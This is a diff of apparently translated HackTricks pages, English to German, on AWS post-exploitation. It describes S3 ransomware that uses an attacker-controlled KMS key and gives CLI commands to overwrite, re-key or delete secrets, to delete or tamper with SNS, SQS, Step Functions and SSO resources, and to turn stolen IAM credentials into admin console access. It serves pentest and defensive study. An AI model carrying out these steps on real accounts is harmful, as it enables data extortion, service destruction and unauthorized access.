In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) Schlüssel in seinem eigenen AWS-Konto** oder einem anderen kompromittierten Konto. Dann macht er diesen **Schlüssel für jeden auf der Welt zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem Schlüssel verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
Der Angreifer identifiziert einen Ziel-**S3-Bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden anwendet. Dies könnte auf eine schlechte Bucket-Konfiguration zurückzuführen sein, die ihn öffentlich macht, oder der Angreifer erhält Zugriff auf die AWS-Umgebung selbst. Der Angreifer zielt typischerweise auf Buckets ab, die sensible Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsinformationen (PHI), Protokolle, Backups und mehr enthalten.
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA-Löschung) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA-Löschung deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA-Löschung aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen.
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
Mit der AWS-API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS-Schlüssel**. Dies verschlüsselt effektiv die Daten im Bucket, sodass sie ohne den Schlüssel nicht zugänglich sind.
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
Um zusätzlichen Druck auszuüben, plant der Angreifer die Löschung des KMS-Schlüssels, der im Angriff verwendet wurde. Dies gibt dem Ziel ein 7-tägiges Zeitfenster, um ihre Daten wiederherzustellen, bevor der Schlüssel gelöscht wird und die Daten dauerhaft verloren gehen.
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien wiederherstellen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Für weitere Informationen** [**prüfen Sie die ursprüngliche Forschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,40 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Secrets lesen
|
||||
|
||||
The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
|
||||
Die **Secrets selbst sind sensible Informationen**, [siehe die Privesc-Seite](../aws-privilege-escalation/aws-secrets-manager-privesc.md), um zu lernen, wie man sie liest.
|
||||
|
||||
### DoS Change Secret Value
|
||||
### DoS Secret-Wert ändern
|
||||
|
||||
Changing the value of the secret you could **DoS all the system that depends on that value.**
|
||||
Durch Ändern des Wertes des Secrets könntest du **alle Systeme, die von diesem Wert abhängen, DoS.**
|
||||
|
||||
> [!WARNING]
|
||||
> Note that previous values are also stored, so it's easy to just go back to the previous value.
|
||||
|
||||
> Beachte, dass frühere Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
|
||||
### DoS Change KMS key
|
||||
|
||||
### DoS KMS-Schlüssel ändern
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Löschen von Geheimnissen
|
||||
|
||||
### DoS Deleting Secret
|
||||
|
||||
The minimum number of days to delete a secret are 7
|
||||
|
||||
Die minimale Anzahl an Tagen, um ein Geheimnis zu löschen, beträgt 7.
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SES
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
@@ -12,76 +12,58 @@ For more information check:
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
Eine E-Mail senden.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Send an email.
|
||||
|
||||
Eine E-Mail senden.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Send an email based on a template.
|
||||
|
||||
Eine E-Mail basierend auf einer Vorlage senden.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Send an email to multiple destinations
|
||||
|
||||
Senden Sie eine E-Mail an mehrere Empfänger
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Send an email to multiple destinations.
|
||||
|
||||
Senden Sie eine E-Mail an mehrere Empfänger.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
|
||||
### `ses:SendBounce`
|
||||
|
||||
Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
|
||||
|
||||
Senden Sie eine **Bounce-E-Mail** über eine empfangene E-Mail (die anzeigt, dass die E-Mail nicht empfangen werden konnte). Dies kann nur **bis zu 24 Stunden nach dem Empfang** der E-Mail erfolgen.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
This will send a customized verification email. You might need permissions also to created the template email.
|
||||
|
||||
Dies sendet eine benutzerdefinierte Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlagen-E-Mail zu erstellen.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
|
||||
Still to test.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,81 +4,65 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information:
|
||||
Für weitere Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Disrupt Messages
|
||||
### Nachrichten stören
|
||||
|
||||
In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected.
|
||||
In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an Plattformen zu senden, die überwacht werden (E-Mails, Slack-Nachrichten...). Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Präsenz in der Cloud informieren, könnte er unentdeckt bleiben.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic.
|
||||
|
||||
Ein Angreifer könnte ein ganzes SNS-Thema löschen, was zu Nachrichtenverlust führt und Anwendungen beeinträchtigt, die auf das Thema angewiesen sind.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted topic.
|
||||
**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Thema verwenden.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Thema senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potenzielle Auswirkungen**: Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability.
|
||||
|
||||
Ein Angreifer könnte die Attribute eines SNS-Themen ändern, was möglicherweise die Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
|
||||
|
||||
Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stört.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic.
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf Nachrichten, Dienstunterbrechung für Anwendungen, die auf das betroffene Thema angewiesen sind.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic.
|
||||
|
||||
Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Thema gewähren oder Berechtigungen für legitime Benutzer widerrufen, was zu Störungen im normalen Betrieb von Anwendungen führt, die auf das Thema angewiesen sind.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf das Thema angewiesen sind.
|
||||
|
||||
**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
### `sns:TagResource`, `sns:UntagResource`
|
||||
|
||||
Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
@@ -12,80 +12,62 @@ For more information check:
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potenzielle Auswirkungen**: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
|
||||
|
||||
Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
|
||||
**Potenzielle Auswirkungen**: Sensible Informationen stehlen, Nachrichtenverlust, Datenkorruption und Dienstunterbrechung für Anwendungen, die auf die betroffenen Nachrichten angewiesen sind.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
|
||||
|
||||
Ein Angreifer könnte eine gesamte SQS-Warteschlange löschen, was zu Nachrichtenverlust und Auswirkungen auf Anwendungen führt, die auf die Warteschlange angewiesen sind.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted queue.
|
||||
**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die die gelöschte Warteschlange verwenden.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
|
||||
|
||||
Ein Angreifer könnte alle Nachrichten aus einer SQS-Warteschlange löschen, was zu Nachrichtenverlust und potenzieller Störung von Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
|
||||
**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die bereinigten Nachrichten angewiesen sind.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability.
|
||||
|
||||
Ein Angreifer könnte die Attribute einer SQS-Warteschlange ändern, was möglicherweise ihre Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Ein Angreifer könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potenzielle Auswirkungen**: Störung der Kostenverteilung, Ressourcenverfolgung und tagbasierten Zugriffskontrollrichtlinien.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
|
||||
|
||||
Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerrufen, indem er Richtlinien entfernt, die mit der SQS-Warteschlange verbunden sind. Dies könnte zu Störungen im normalen Betrieb von Anwendungen führen, die auf die Warteschlange angewiesen sind.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
|
||||
**Potenzielle Auswirkungen**: Störung der normalen Funktionsweise von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information check:
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
These permissions can be used to disrupt permissions:
|
||||
|
||||
Diese Berechtigungen können verwendet werden, um Berechtigungen zu stören:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
Für weitere Informationen zu diesem AWS-Dienst, siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,20 +12,19 @@ For more information about this AWS service, check:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
|
||||
Diese Berechtigung ermöglicht es, **geheime Daten innerhalb einer Ausführung offenzulegen**. Dazu muss das Inspektionsniveau auf TRACE und der Parameter revealSecrets auf true gesetzt werden.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise die Operationen zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one o more aliases.
|
||||
|
||||
> - Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase.
|
||||
> - Wenn Sie einen Zustandsmaschinenalias löschen, löschen Sie nicht die Zustandsmaschinenversionen, die auf diesen Alias verweisen.
|
||||
> - Es ist nicht möglich, eine Zustandsmaschinenversion zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
|
||||
- **Potenzielle Auswirkungen**: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechung.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren, indem er diesen Wert auf 0 senkt, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Performance degradation, and disruption of critical workflows.
|
||||
- **Potenzielle Auswirkungen**: Leistungsabfall und Störung kritischer Arbeitsabläufe.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
|
||||
Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stört. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.
|
||||
|
||||
> [!WARNING]
|
||||
> This action is not supported by **express state machines**.
|
||||
|
||||
> Diese Aktion wird von **express state machines** nicht unterstützt.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
|
||||
- **Potenzielle Auswirkungen**: Störung laufender Workflows, betriebliche Ausfallzeiten und potenzielle Datenkorruption.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,21 +4,20 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information:
|
||||
Für weitere Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
### Von IAM-Credentials zur Konsole
|
||||
|
||||
If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
|
||||
Note that the the user/role must have the permission **`sts:GetFederationToken`**.
|
||||
Wenn Sie es geschafft haben, einige IAM-Credentials zu erhalten, könnten Sie daran interessiert sein, **auf die Webkonsole zuzugreifen** mit den folgenden Tools.\
|
||||
Beachten Sie, dass der Benutzer/die Rolle die Berechtigung **`sts:GetFederationToken`** haben muss.
|
||||
|
||||
#### Custom script
|
||||
|
||||
The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
|
||||
#### Benutzerdefiniertes Skript
|
||||
|
||||
Das folgende Skript verwendet das Standardprofil und einen Standard-AWS-Standort (nicht gov und nicht cn), um Ihnen eine signierte URL zu geben, die Sie verwenden können, um sich in der Webkonsole anzumelden:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no
|
||||
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
fi
|
||||
|
||||
# Parse the output
|
||||
